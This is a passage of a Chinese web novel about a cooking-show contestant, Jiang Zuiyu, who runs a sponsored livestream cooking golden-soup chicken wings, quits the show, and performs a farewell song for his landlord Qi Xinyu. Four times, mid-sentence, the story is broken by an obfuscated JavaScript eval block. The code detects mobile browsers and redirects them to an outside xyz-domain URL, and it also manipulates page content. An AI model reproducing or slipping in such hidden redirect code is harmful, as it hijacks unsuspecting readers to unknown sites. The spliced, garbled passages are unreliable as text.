蒋醉余正准备和他作别，眼神扫过胸前时顿了一下，伸手指了指道：“口袋巾歪了。” 齐新雨低头摆弄两下：“现在呢？” 为了配合这次的轻松氛围，他的口袋巾折成了猫咪的形状，作出布艺小猫乖巧蹲在口袋里的效果，动作之间却稍微有些散开。 现在这个天气穿不住有厚度的衬衫，白色布料轻薄纤软，离得太近几乎透出肉色。 “现在更歪了。”蒋醉余摇笑着摇头，伸手帮他整理，又十分自然地拨了拨他头顶被风吹乱的发丝。 他现在确认了，齐新雨受惊的时候会跳开。 目送着小房东几乎同手同脚地离开，蒋醉余越过排排宾客，看他和身边人一边打招呼一边笑着坐下。 齐新雨是作为乐队某次巡演的合作海报画师被邀请来的，再加上本身新锐画家的名头和父母的身份，来围观蹭饭的综艺选手们比他靠后得多。 齐新雨身后不远，是节目组几位名声在外的主厨和负责人，夏洛特和梅森分开两边，奥斯汀、导演和制片人坐在他们中间。 导演蜷缩着，一副局促又惶恐的样子。 蒋醉余收回眼神，刚在自己的位子坐下，就收到了选手们热情的迎接：“蒋！坦白从宽！” 蒋醉余：“？” 加布里埃尔义正辞严：“我以前戳你和你聊天你都要躲，没想到还有你主动给别人整理口袋巾的时候。” “还有你上次在伦敦艺术学院喊来做搭档的那个朋友，我记得也是他。”伊薇特眼中闪耀着八卦之光。 蒋醉余哭笑不得：“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775116|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们难道没给朋友整理过衣服吗？” “我一般只会口头告诉他衣服乱了。”洛伦佐幽幽道。 “不要扩大概念，”丽贝卡很是警惕，“我们也没有你那么抗拒亲密接触啊，我日常还和薇薇安搂搂抱抱呢。” 薇薇安于是也深沉道： “根据我多年搞同人的经验，整理口袋巾和帮对方打领带也没多大差别，四舍五入就是打啵了。” 蒋醉余震撼地看了她一眼。 你这个四舍五入的水平听起来不是很好。 听起来离谱到可以和小脸通黄的西风太太有共同语言。 “你不要不相信我，我可是嗑了两对cp、最后两对都结婚了的锦鲤型同人女。”薇薇安拼死捍卫自己的名号。 锦鲤小姐话音未落，就顾不上他们了。背景音乐停了下来，婚礼正式开始，随后迎来了选手们期待已久的餐会。 奶油浓汤是配着一个小壶端上来的。壶里不是酱料汤汁，而是一个个浅黄色的汤冻小球，每颗球里还卧着一块花蛤肉。 把汤冻投入浓汤中，用热浓汤的温度慢慢将其融化，捂热里面包裹的海鲜。 也可以在没有完全融化时一起放入口中，软弹入口即化的汤冻和细腻醇厚的奶油汤口感交相辉映，还能拥有冰火两重天的奇妙享受。 芥末牛排在长时间的腌制中充分入味，低温慢煮锁住肉里的水分，这是蒋醉余昨天帮忙的成果。 极短时间的高温煎制为它穿上漂亮的焦化外衣，切开却是极鲜嫩多汁的粉红色牛肉。 餐后甜品是薄荷味液氮冰淇淋和西柚布丁，都做成云朵的形状，旁边点缀一朵水蜜桃片卷成的玫瑰花。 冰凉的液氮将空气中的水蒸气变为小液滴，在盘中塑造出雾气缭绕的效果。 考虑到阳光下西装革履的宾客们，以一道清爽甜蜜的甜品作结，婚礼流程也就暂且告一段落。 导演当即向后排走来。他眼圈重得几乎遮不住，把选手们喊到一起，招呼众人坐上节目组准备的大巴回伦敦。 “蒋，该走了。” 齐新雨也追上来，和制片人点了点头。对方苦恼地揉揉眉心：“不跟车就不跟吧，那你们自己安排。” 个别选手发出看热闹不嫌事大的语气助词。 蒋醉余不理他们，跟在齐新雨后面找他家司机，终于有了点这个人真的很有钱的实感。 “我以前也碰到过一些队友被大佬接走，他的车好像还不如你呢。” 齐新雨一个趔趄。 司机把行李搬上后备箱，看了一眼蒋醉余，犹豫着开口：“泽菲尔，这位是……？” “我朋友，《美食之王》那个很有名的Zuiyu Jiang。”齐新雨为他介绍。 司机顿了顿，没料到会收获这样一句回答：“呃、就是，那是把蒋先生送到哪呢？” 齐新雨面不改色：“我家。” 司机：“？” 怀疑自己是不是想多了的司机车技很好，职业道德也很好，稳稳当当地把他们放在家门口，还不忘说一句“蒋先生下次见”。 仿佛很笃定他们还有再见的机会。 “小齐，”蒋醉余低低叹了一声，“我认识你一个月，认识司机先生一个小时。” “可是你们怎么都喊我蒋先生呢？” 40. 气泡薄荷果茶 第二天是星期日，但蒋醉余还要出门。 他和壹嘉快餐合作的套餐周一就发售，宣发便请他在周日做一次直播，打个广告。 众所周知，综艺节目在完结以后的流量都是在下降的。 为了多蹭一点热度，合作套餐的发售日期和签订合同的时间定得很近，故而宣发方案也是上周一才定下来的。 蒋醉余连着几天又是被收手机，又是翻来覆去改菜谱，直接忙得抛之脑后，直到刚刚收到对接人和选手助理的分别提醒才想起来。 正在吃早饭的齐新雨对此感到困惑，掰着手指反复确认了几遍时间。 一个“蒋”字险些出口又被他吞回去，只好不指名点姓地茫然发问：“今天周日，明天周一，没错吧。怎么选了这么个工作日呢？” “是周一，”蒋醉余肯定道，“他们家固定的打折日就是星期一，流量还挺好的。而且这周末有另一家定位差不多的连锁披萨店要上新，就刻意避开了。” 齐新雨翻了翻自己的聊天记录：“但是他们都没告诉我什么时候开卖欸，只有把海报挂出去的时候通知了我一下。” “应该不是什么大活动，”蒋醉余一边拿钥匙一边说，“我出门了……希望回来的时候，我们能正常地打个招呼。” 从昨天下午到现在，齐新雨甚至做到了一声名字都没喊他。 齐新雨捏着手里的周边，装没听见。 壹嘉的研发部副总监约瑟夫当初向蒋醉余提出，想要约几份他的Q版人物稿，在得知画师是齐新雨以后表达了强烈的难以置信。 一个油画风格以细腻、疏离却欲念缠绵闻名的画家，就算是摸鱼画平涂板绘小人，也不至于有这么大的差异吧。 但事实却真的如此发生了。约瑟夫为此专门向蒋醉余道歉，表示自己不该质疑他。 这不是什么大事，蒋醉余也没有在意，后来齐新雨就主动来找他说自己接了这个工作。 “确实价格不贵，不过画起来不难，这种体验还挺新奇的。” 壹嘉和他约了五张图片，要求画面中有蒋醉余任意姿势的Q版造型。 衣服要穿壹嘉快餐店的经典款员工服，并分别包涵他前四期节目中制作的菜和他们这次要出的汉堡套餐。 他们本来还想加上知名度最高的菊花豆腐，但是节目组没有同意，准备把这个热度持续不降的元素死死掌控在自己手里。 这五张图被用来制作套餐的赠品，是银行卡大小的透明背景卡片。 为了庆祝新品上市，在第一个月购买套餐的顾客，都可以随机获得一张卡片以及图中食物对应的食玩。 作为自己家的广告，其中最稀有的当然是画着汉堡的那一张，卡片上还封亮闪闪流光溢彩的镭射膜。 这个广告是星期一就打出来的，齐新雨没打算给自己的马甲身份多注册一个账号，和他对接的工作人员也就只是私聊通知了他一声。 齐新雨回忆片刻：“但是我好像干脆没看他们的宣传海报。” 他交了图就完全没再关心后续，也不知道这套宣传图引起了不小的热度——虽然很快就被安迪的连环瓜冲散了。 忙得连自己有直播任务都忘了的蒋醉余就更不知道了。 直到周六晚上，壹嘉的官方账号发布了明天的直播公告，被夏洛特的个人账号转发，网友们才又想起来还有这么一个活动。 【壹嘉是什么路边摊快餐厅吗，这个名字好随意哦，我怎么完全没听说过。】 【呸，前面的不许污蔑我的童年，人家分店遍布女王国的好吗！希望可以借助这次机会，努努力走出女王国走向世界。】 【童年加一，小时候零花钱少又馋快餐，壹嘉便宜碗大还信誉好，救本馋鬼于水火。】 蒋醉余一打开直播间，就被迅速刷屏的评论吓了一跳。 他定定神：“大家好，我是来自华夏的《美食之王》选手蒋醉余，欢迎各位来到壹嘉快餐厅的直播间。” 【这个衣服是壹嘉的员工制服吧，胸口那里综艺和快餐店标志并排摆着好好笑。】 “在今天的直播中，我将给大家带来一道金汤芝士焗鸡翅。主要材料有鸡肉、咸蛋黄、南瓜和芝士。 “这个汤也可以用来煮龙虾、肥牛卷、西兰花等食材，或者当作意面酱汁、烩饭酱料等，拥有非常多的可能性，大家可以自行探索。 “如果不想自己动手，壹嘉明天上架的金沙炸鸡汉堡也是同样的食材搭配，购买套餐还可以获得，呃，”他顿了顿，“随机礼物。” 【赞美金主爸爸，感谢金主爸爸，我还从来没见过蒋一口气说这么多话。】 【笑死，是哪个男人不怕杀龙虾却不好意思说出礼物是自己的周边Q版小卡。】 合作方不知道出于什么心理，可能是想让他和观众多互动吧，放了一张大大的屏幕展示实时评论。 蒋醉余下意识地扫了一眼，决定闭嘴做菜。 虽说菜名叫做焗鸡翅，但他除了一盒鸡翅尖以外，还另外准备了一只整鸡。 把整鸡身上的两个翅尖也拆下来放到一边，剩下的部分沿骨骼缝隙拆解，鸡腿这种比较大块的部位还可以额外从中剁开。 全套动作行云流水，锋利的刀刃只会落在柔软的鸡肉和软骨上，全程听不见什么声响。 【我就一眨眼的功夫，那么大一只鸡怎么就被肢解了？】 鸡肉焯水送进高压锅里吊汤，接着来处理鸡翅。用葱姜蒜粉和白胡椒祛腥，拍上一层薄薄的面粉，放进烧热的油锅里炸制。 这一步不需要将鸡肉炸透，只是给它赋予一层金黄酥脆的外衣，等到后续在汤里炖煮时口感更丰富，也更容易吸味。 然后来处理配菜，洋葱和大蒜切碎。 西兰花洗净掰成差不多大小的小朵，放在加了鸡油和盐的水里煮到断生。 加盐是为了给蔬菜提供一点底味，加鸡油除了能让西兰花看起来更加鲜艳翠绿，也能使它和鸡汤汤底融合得更加和谐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775117|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来准备金汤所需要的材料。 南瓜去皮切块蒸熟，在筛网上碾压成丝滑柔顺的南瓜泥，这主要是用来给汤汁提供金黄的色彩和清淡的甜香。 芝士选用自己喜欢的口味，帕玛森或者切达都可以，切成什么形状或者干脆不切也都可以。 蒋醉余从屏幕外拿过一盒鸭蛋，向众人展示： “这是一盒从中国高邮地区运过来的咸鸭蛋，以白瓤、红心、流油著称。 如果自己在家做买不到的话，也可以用中超的普通盒装咸鸭蛋或者真空包装咸蛋黄替代，只是味道可能没那么好。” 他拨开鸭蛋取出蛋黄，喷了一点高度酒放进烤箱烘烤： “如果用的是很新鲜的鸭蛋，这一步可以改成直接上锅蒸熟，不过喷酒精烤过的蛋黄可以除掉一些腥味。” 【醉余：嗨朋友，看到这个高邮咸鸭蛋了吗，没有别的意思，就是想说你们没有。】 【那么问题来了，在哪里能买到正宗的高邮鸭蛋。】 一旁监控的工作人员看到这句话连忙开麦道： “虽然正宗的高邮咸鸭蛋很难买，但我们全英的壹嘉分店，都是在用它做咸蛋炸鸡汉堡套餐和咸蛋南瓜条哦，欢迎大家来体验。” 炖汤的鸡肉被切成了小块，又借助了人类智慧结晶高压锅，鸡汤还剩几分钟就能放气出锅。 前期工作已经准备完毕，蒋醉余把烤盘放在垫板上晾着，拿过一杯气泡水果茶。 饮料用透明杯子装着，下层是浅粉色的，里面藏着若隐若现的桃子果肉，中间层过渡到通透的浅黄绿色，冒着一个个细小的气泡，顶层则是嫩绿色，冰块和装饰性的两片薄荷叶挤挤挨挨浮在表面。 【当你看到这条评论，快跑！再不跑就来不及了。】 蒋醉余一边喝水一边看了看评论，笑道：“别跑，都来听我说。” 桃子的甜蜜和薄荷的清凉汇聚在一起，再加上微苦乌龙茶汤的映衬和碳酸饮料刺激味蕾的气泡，搭配重口的炸货可以清新解腻，单独品尝的话风味类型也足够丰富。 他淡定自若地说：“我的一个很重要的人非常喜欢薄荷味，我以此为灵感设计了这一套饮品。” 按照他的指示，摄像师把镜头转向烹饪台旁边一点的位置。 除了这一杯带着春日清新色彩的果茶以外，那里还一字排开着许多类似的饮料。 蒋醉余把水面变矮了一截的桃子气泡水放在最中间，形成一组完美的渐变色。 顶部都是绿色薄荷味，下半部分的水果则各不相同。 黄色的柠檬、橘色的橙子、粉红的蜜桃、紫色的葡萄和蓝色的蓝莓，渐变丝滑，颜色清浅温柔。 【蒋！你为什么要在蜜桃味都被喝过了之后再照！强迫症活了又死呜呜呜。】 打完了广告，高压锅也发出滴滴的提示音，结束了自己的工作。 蒋醉余冷酷地忽略观众的哭嚎：“那么接下来，就要来到这道菜的最后步骤了。” 41. 金汤芝士鸡翅 蒋醉余揭开锅盖，摄像师举着相机探向锅内。 蒸腾的热气随着鸡汤的香气一起爆发，如果忽略满屋飘荡的肉香，倒也颇有几分云雾袅袅的意境。 网线另一端的观众被雾气糊了一脸，只能看见隐隐约约的浅黄色鸡汤与鲜嫩鸡块。 南瓜和咸蛋黄都是风味独特且惹人喜爱的食物，为了不遮住它们的本味，蒋醉余在炖鸡汤的时候也几乎没有加香料。 把汤过滤到大碗里备用，取一只炒锅融化黄油，爆香蒜末和洋葱末。等到香味四溢，就用滤网漏勺捞出所有的调料，直接放入咸蛋黄。 一边用勺子碾碎咸蛋黄一边翻炒，直到它开始出沙，变成稍微流动的样子，并冒起了小泡，就加入热鸡汤，还可以放一些牛奶或者奶油增加奶味。 等到汤水再次沸腾，把芝士和南瓜泥也倒进去充分搅拌。 鲜味四溢的汤底染上金黄色，还夹杂着浓浓的奶香，稍微收浓一点汁，就可以将炸鸡翅放进去了。 让鸡翅均匀沾上金汤，合上盖子焖炖，还差几分钟能好的时候把西兰花也放进去一起煮。 这道菜既不需要炒黄油面粉，也不需要打水淀粉勾芡，拜咸蛋黄沙沙的质地所赐，水分蒸发浓缩后的汤汁能很好地挂在食材上。 当菜品稍微凉一点到能入口的程度，凝固的芝士也会让汁液更加浓稠。 不需要过多摆盘，金色的酱汁和翠绿的西兰花已经足够美观，随便找一只白方盘堆成一堆就能很好看。 先炸后炖的鸡翅吸足了金汤，整只鸡熬出来的鸡汤都贡献给了它，用牙齿轻轻咬住侧面的肉一撕就能脱骨。 蒋醉余单独夹了一只鸡翅近距离拍摄，用刀子从中间切开，和白嫩的肉一起露出来的是饱满的汁水。 西兰花还保持着完整得形状，但疏松的树状结构让它的每个空隙里都能藏住酱汁，一口咬下去仿佛会爆浆。 可能是因为没有说太多话分心，制作过程比他们想象中要顺利和迅速得多，距离直播结束还要再等一段时间。 蒋醉余想了想，又指着鸡翅解说道：“除了最开始提过的更换里面的食材，这道菜还有不少别的改良方向。” 如果是做给自己吃，不追求做作的摆拍和外在的美貌，可以把西兰花再多提前一会放进去，煮得更加软烂。 或者油炸、咸蛋黄、芝士、奶油四连都还满足不了吃货的心，就将鸡翅脱骨，在原本骨头的位置塞上马苏里拉芝士，不仅不再需要吐骨头、可以一吃到底，鸡翅还能拉丝爆浆。 【这个改良版我好心动，嘴已经准备好了，请问菜在哪里领？】 【诡计多端的广告人，但是我真的在思考，这道菜看起来这么好吃，同样食材搭配出来的汉堡套餐应该也不难吃吧。】 【我错了我不该说壹嘉是查无此店的小馆子，你们什么时候开欧陆店啊！】 做饭过程已经结束，也就有人逐渐跑偏了话题。 【蒋，聊点别的吧，比如说你什么时候告安迪。】 【你们怎么这么看热闹不嫌事大，多说点，俺也想听。】 蒋醉余正在大浪淘沙一般地努力挑出烹饪方面的问题进行解答，看到这句话顿时一愣，却出乎众人预料地正面答道： “已经全权委托给律师在整理证据了，后面具体的计划可能也要看节目组。” 他深知不回应可能引起的无边界胡思乱想才是最令人烦恼的，讲得太多又可能打乱己方的计划，故而只说了一句，不再搭理愈演愈烈的提问。 管理直播间的人见他无意再理会，索性把安迪设置为屏蔽词，提醒观众不要过多提及无关人员。 “熬完汤的鸡肉怎么办？”蒋醉余盯着屏幕念道，“肯定不能扔了啊，怎么可能那么浪费。蘸酱做沙拉做零食全都可以。” 工作人员闻言连忙示意，请他在剩余这点时间里把鸡肉做成零食给观众抽奖，这部分突发工作的合同等会结束了再补签。 蒋醉余点点头，开始介绍做法。 这道所谓的零食其实非常简单，把鸡肉撕成鸡丝，用喜欢的调料粉拌匀，最后放进烤箱里烘烤。 从头到尾毫无难点，有手就能做。 肉丝的粗细没有限制，口味没有限制，烘烤的时长也有浮动空间，堪称自由到离谱，最麻烦的步骤可能只是鸡肉撕起来有点多。 他和齐新雨第一次用这个方法消耗鸡肉的时候开了一部电影，两个人一起撕两块鸡胸，直到电影剧情过半了才做完。 介于自己炖了一整只鸡，蒋醉余分了不少给帮忙的员工，才算是在直播结束之前把鸡肉送进烤箱。 【这就结束了？我等没抽到奖的人连成品长什么样都不配看到吗！】 【什么都不说了，我已经在煮鸡肉了。】 工作人员笑着安抚： “大家放心，后续的出炉和试吃环节我们会录成小视频发到官方账号上。另外请各位中奖的观众确认自己在后台设置好了收货信息。 “虽然烘鸡丝可以保存的时间不算短，但也记得在保质期前尽快吃完哦。” 镜头和录音机关闭，直播间陷入黑暗的沉寂，蒋醉余长出一口气。 他日常里可没有这么开朗健谈，刚刚根本是处于营业模式，虽然看起来游刃有余，但和外界接触多了还是有些心累。 当个自闭死宅它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我今天要是再回来迟了，柜子里有腊肠，和米饭一起放进电饭煲里，最后还剩十分钟的时候开盖打一颗蛋。冰箱里有小宝石生菜，是袋子上写着‘gem’的那个，叶子拆下来放到开水里烫两分钟就行。” “吃的时候淋李〇记的香油和蚝油，不要直接用生抽。” 但齐新雨好像连电饭锅煲仔饭配简易白灼生菜都嫌麻烦。 直播一结束，蒋醉余手机上立刻冒出来他的新消息：“那你是不是能准时回来啦，小蒋哥哥。” 与之几乎同时送达的是另一条消息，来自《美食之王》的选手助理。 就像齐新雨猜测的那样，达摩克利斯之剑终于落了下来。 “下周比赛、课程暂停，所有人无需来到摄影棚，具体后续安排另行通知。”助理说。 42. 我们走向新生 蒋醉余恍然觉得自己可能是刚从什么屏蔽信号的无人区回来。 不然他的手机怎么会如此繁忙，来自不同人的消息轰炸得锁屏页面甚至无法熄灭。 他先消除掉齐新雨那条消息的通知，没敢回复。 他仿佛已经看到一双薄荷绿的猫儿眼在他脑子里飘飘悠悠，背景音是带着笑意的柔软轻盈的呼唤。 蒋醉余摇摇脑袋，把那句要命的“哥哥”从思绪里晃出去，然后麻木地和壹嘉的摄影团队道别。 坐在餐饮公司送他回家的车里，蒋醉余终于开始处理短信。 夏洛特评委在选手们的群里相当委婉地说，因为一点个人问题上的冲突，她从现在开始退出节目录制。 制片人在联系他，说曾经有一家中国内地公司联系他们要引进综艺，但现在因为梅森的问题合作失败了，希望他能给这家公司和夏洛特说说好话。 选手们在联系他，问他作为半个当事人知不知道什么内情、以后有什么打算。 甚至，那些早就被抛之脑后的伦敦分队的男团队友们，也在联系他——这个月他们竟然侥幸卖够了公演票，不用再取消演出了。 蒋醉余颤颤巍巍打开日历，一口气堵在胸口，只觉得眼前发黑。 因为团队太糊、卖气太差，订不起周六日的舞台，他们的演出就安排在每月的最后一个星期五。 今天是周一，距离本月公演还有……四天。 他用舌尖抵了抵上牙膛，在塑料队友群里发了个“1”以示收到、又告诉制片人他没有能力左右别人的想法，被庞大的社交任务冲得有些茫然。 他们这一届选手中，有经济压力的人不多，蒋醉余最初算一个，但现在不算了。 他物欲很低，就算扣除掉每个月固定给国内的汇款，在节目组挣的这么多奖金和壹嘉给的授权费足以花很久。 梅森和安迪在网上的发言、隐藏在厨艺竞技背后的弯弯绕绕、选手与节目组的数次交锋、夏洛特疲惫而失望的面容…… 庞杂的经历在记忆中闪现，蒋醉余愈发难以说服自己在这个被资本和流量裹挟的摄影棚里继续走下去。 只是这样一来，和齐新雨比起来，他好像就更像无业游民了，也失去了在齐新雨家借住的理由。 他们之间的距离也许会变得比安托万婚礼上的前后排更加遥远。 约瑟夫不会为质疑了他对齐新雨作品风格的了解而道歉。 伦艺的那群学生、公园餐厅的老夫妻、家附近超市的那位售货员小姐，都不再会爱屋及乌地从齐新雨联想到他。 蒋醉余第一次意识到，自己根本无法接受这种种可能性。 他迫不及待地渴望从房东与租客或偶像与粉丝的简单关系里跳出来，几乎想要逼问齐新雨。 当然，只是想要。 他盯着视频网站上公布的节目组名单。 说得大言不惭一点，如果自己作为本季综艺最受欢迎的选手都选择退赛，齐新雨家在节目投资，应该也会血本无收吧…… 蒋醉余默默给自己定下一条底线。 如果节目组愿意公允处理梅森，那么继续在这条有些艰险扭曲的路上走下去，他也不是不能忍耐。 “哥哥，”属于齐新雨的消息提示音又响了起来：“如果《美食之王》停止录制了，你在伦敦有没有地方住呀。” 车子停下来，蒋醉余谢过司机，打开房门。 齐新雨坐在客厅里，看到他回来犹豫着张口，一个字都没吐出来。 蒋醉余挑眉：“刚刚不是还喊哥哥喊得很起劲吗？” 齐新雨抿着嘴，想刀一个人的眼神根本藏不住。 蒋醉余在他旁边坐下，沙发因为增加了一个人的重量而又凹陷一点，齐新雨换了个更舒服的坐姿。 他很伤心地叹了口气：“如果找不到别的房子租，那大概就要回去住公司给的公寓了吧。 “正好这个月运气好，演出票卖得还行，万一我的队友们看我现在有热度了，愿意和我培养一下默契了呢？” 蒋醉余抬起头，对上齐新雨若有所思的眼神。 他举起自己手中的画笔，头顶仿佛冒出来一个代表想到新点子的小灯泡。 齐新雨演技略显生涩地棒读：“那真是太巧啦，我这个月不小心花钱花多了，想租两套房子开源节流呢。” 他看起来真的很不擅长撒谎，淡绿色虹膜里写满忙乱和稚嫩，似乎再多说两句就要露馅。 于是蒋醉余很贴心地问：“怎么会呢？我看这个月生活费开支没变化、家里也没几样快递，不会是被什么人骗了吧。” 是啊，齐新雨面无表情，被一个大骗子。 他强作镇定：“定制画材交了一大笔定金，现在东西还没做出来呢。” 蒋醉余跟着发愁起来：“那确实是必要支出。如果你愿意再画一些对你来说没什么技术含量的画，要不然我在我的粉丝群里帮你推荐一下吧。” 他说着，掏出手机来。 齐新雨扭过头，气鼓鼓地看着他。旁边的平板上明晃晃冒出一条通知：你关注的男团成员蒋醉余上线啦。 蒋醉余笑了一声，回望过去：“不过坦白讲，我更喜欢和你住在一起的感觉。如果小齐愿意容留我挤占你的空间，我很想请你把这座房子租一部分给我。” “你提醒到我了，我缺钱了还可以卖画，”齐新雨不看他，“我很少卖画的，肯定能要个好价钱，继续一人独享小洋房。” 猫生气了。 蒋醉余从包里取出壹嘉外卖包装的气泡水，熟练地上供：“我不是怕一直住在这打扰你吗……这不是市售款，是我刚刚亲手调的软饮，店里都没这个配比，你帮我尝尝好不好。” 齐新雨眯着眼睛喝了一口双杯薄荷特调，这才慢吞吞道：“我是认真的，你现在对节目有什么想法吗？” 蒋醉余没说话，把自己的聊天页面摆到他面前。 一个崭新建立的群聊正经历着激烈讨论。伊薇特、丽贝卡等人都很坚定地想要退赛，也有些选手还在犹豫，但不是所有人都在群里。 而男团伦敦分队的群被压得很靠下，在他回复完之后再也没有人说话。 蒋醉余正色道：“我无所谓，给谁做饭不是做呢，在节目里至少还能给你家挣点钱。但是夏洛特和几个高人气高水平选手都要离开，肯定会有影响。” “所以我家经理人的意思是撤资，”齐新雨说，“趁着综艺负面新闻缠身，可以不算违约。” 他眼睛亮晶晶的：“但是我让他们再等等。如果你对这个品牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775119|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有兴趣的话，我们可以直接把版权买下来，彻底整改，重新上路。” 蒋醉余一愣，摇了摇头。 “我对这个节目，其实没什么留恋。” “于我而言，它最大的意义，就是让我认识了你，和别的一些朋友。” 但时间和记忆的斑块都还在分秒不停地累加，哪怕没有《美食之王》作为纽带，他们的旅程也远未结束。 孤身一人的求学经历、大起大落的偶像生涯、梦里童话一样塑造他技艺和信念的温馨师门，都已经是这座高塔上更下层的砖石了。 “我接下来只有两——三件计划。”蒋醉余说。 第一，完成演出、然后宣布退团停止活动，给作为爱豆的蒋醉余一场谢幕。 第二，邀请几位观众和朋友做一桌菜，给作为《美食之王》选手的蒋醉余一场解脱。 最后…… “做个无所事事的闲散厨子，养花喂猫，陪你毕业。” 齐新雨眨眨眼，咬住嘴唇。 他看起来好伤心，面上却没有任何表示，连脖颈都显得僵硬，一副强绷着的模样。 蒋醉余凑过去，缆住他肩头。 齐新雨的声音变得闷闷的：“不用你养猫，我以后不一定留在英国，那只小黑猫身体不好，不方便到处跑，我把它送养了。” 蒋醉余不说话了。 次日，齐新雨家公司正式决定撤资《美食之王》，蒋醉余等六名选手同时宣布退赛。 齐新雨带着大包小包工具和莫名其妙的斗志走向学校，蒋醉余不解地送他出门，独自进入公司的练舞室。 果不其然，这里空无一人。 他通过了新的好友申请，对方是自称业务为综艺引进发行制作的国内公司。 接着冷酷地挂断又一个来自节目组的电话，打开音响开始热身。 忙碌中，四天时间转瞬即逝。 齐新雨第一次参观后台，看什么都新鲜。 贫穷的伦敦分队，一应准备全都从简。更衣室只有一间，化妆全靠自力更生，全妆的偶像们还要自己布置道具。 现场除了灯光师和音效师再没有第三个工作人员，所以他很轻易地混到了检票系统旁边。屏幕显示的上座率差强人意。 蒋醉余介绍道：“我们每个月的售票基本就在这个数上下浮动，高一点就能顺利演出，低了就取消。” 齐新雨扫了一眼他的队友们，小声抱怨：“都是他们拖后腿。” “卖得少不是好事吗，”蒋醉余不以为意，“说明我的综艺观众们不关心舞台，暂时还没发现我的身份。” 他就是再淡定心大，要是对着美食节目观众们表演男团唱跳，也多少有种在熟人面前表演节目的羞耻感觉。 齐新雨沉思一会，郑重地点了点头。 和这么多妖魔鬼怪同行，确实有损形象。 妖魔鬼怪拉长嗓音：“别墨迹了。都被流放到这了，以后有的是青春给你挥霍，下台再谈恋爱吧。” 播放完演出须知，现场的灯就逐一熄灭。 买了后排票的观众窸窸窣窣地往事业更好的地方挪动，齐新雨坐在第一排正中间。 黑暗里他看到蒋醉余走上台，冲他露出一个模糊的笑容。 音乐响了。 43. 写给某人的歌 齐新雨自认为已经是一位成熟的观众了。 伦敦分队的经营模式有诸多弊端，比如原本国内的公演里有不少闲聊环节，使得团内粉丝和偶像的关系比寻常娱乐圈更亲近。 他们得以了解感兴趣的人的爱好、个性乃至团内人际关系。 但在这里，成员们往往只是沉默地上台、沉默地表演、沉默地散伙，像一群临时演员。 观众不会知道站在中心的那个队长名叫蒋醉余，是营养学的学生、希望自己死后被埋在一丛醉鱼草下，不会知道他严肃正气面容下有事事不过心的包容、温和、淡漠。 今天却有所不同。 在倒数第二首歌结束后，除蒋醉余以外的队员鱼贯离开。齐新雨看到有个别人拍了拍他，或者给了他一个一触即分的拥抱。 他举着话筒，声音很轻：“这应该是我最后一次站上舞台。” 齐新雨身边眼熟的女生发出不可置信的叫喊，随着台上人继续讲话而慢慢安静下来。 蒋醉余说：“星期一的时候，我联系上我在国内的一个队友，问他愿不愿意接受一首加急的作曲编曲委托。 “他说你不要那么拘谨，我们在团里以前不是关系还不错吗，也算是朋友了。 “所以这最后一首歌，作词是我自己，音乐来自我姗姗来迟的朋友，送给所有曾经和现在出现在我生命中的人。” “至于我身后的舞台背景图案，是由领着我走出阴霾的那个人绘制的。”蒋醉余转过身，端正面孔被屏幕暖色光亮照得温柔起来。 这不是一副新鲜的作品，但齐新雨一直很喜欢它。他用这幅画做了抱枕周边，就放在沙发上。他们在客厅看电视的时候，经常两个人一人一边摆弄着抱枕的流苏。 画面对普罗大众来说有些抽象，但一眼就能感受到其鲜活柔软、春意盎然，还带着欲语还休的缱绻。 音乐响起，他在前奏里回首，与人群中的齐新雨对视：“我没有告诉他这幅画要用在这里，希望他喜欢这个惊喜。” 蒋醉余不喜欢对外界剖露内心。这段话匆匆用中英文各说了一遍，也不过几分钟时间。 他有点释然地笑起来。 曾经重逾千斤的挫折、他和齐新雨隔空扶持着走了这么久的路，原来只在这样寥寥言语中，就能轻飘飘地结束。 观众席上，手机手电筒的白光随着舒缓的音乐节奏摇摆起来。 “偶尔想起初逢的记忆，单薄旁白蓦然变明晰。过往的沉疴终于合理：无非铺陈，只为当时。 “世界因他斑斓浓绮，爱从此具象，而你……该满意。” 大概因为是临时增加的节目，没有排练过复杂的舞台灯光或道具。 只有素净单薄的一盏白色聚光灯，灯下是一具立式麦克风，蒋醉余双手握着话筒。 他眼神落在剧场空荡荡的墙面，齐新雨不知道他在看哪里，直到副歌段落响起他们才对视。 他听到蒋醉余嗓音沉静，像哼唱又像述说：“你如何能感觉满意，想他光鲜却深爱你，在命数上旁添一笔。” 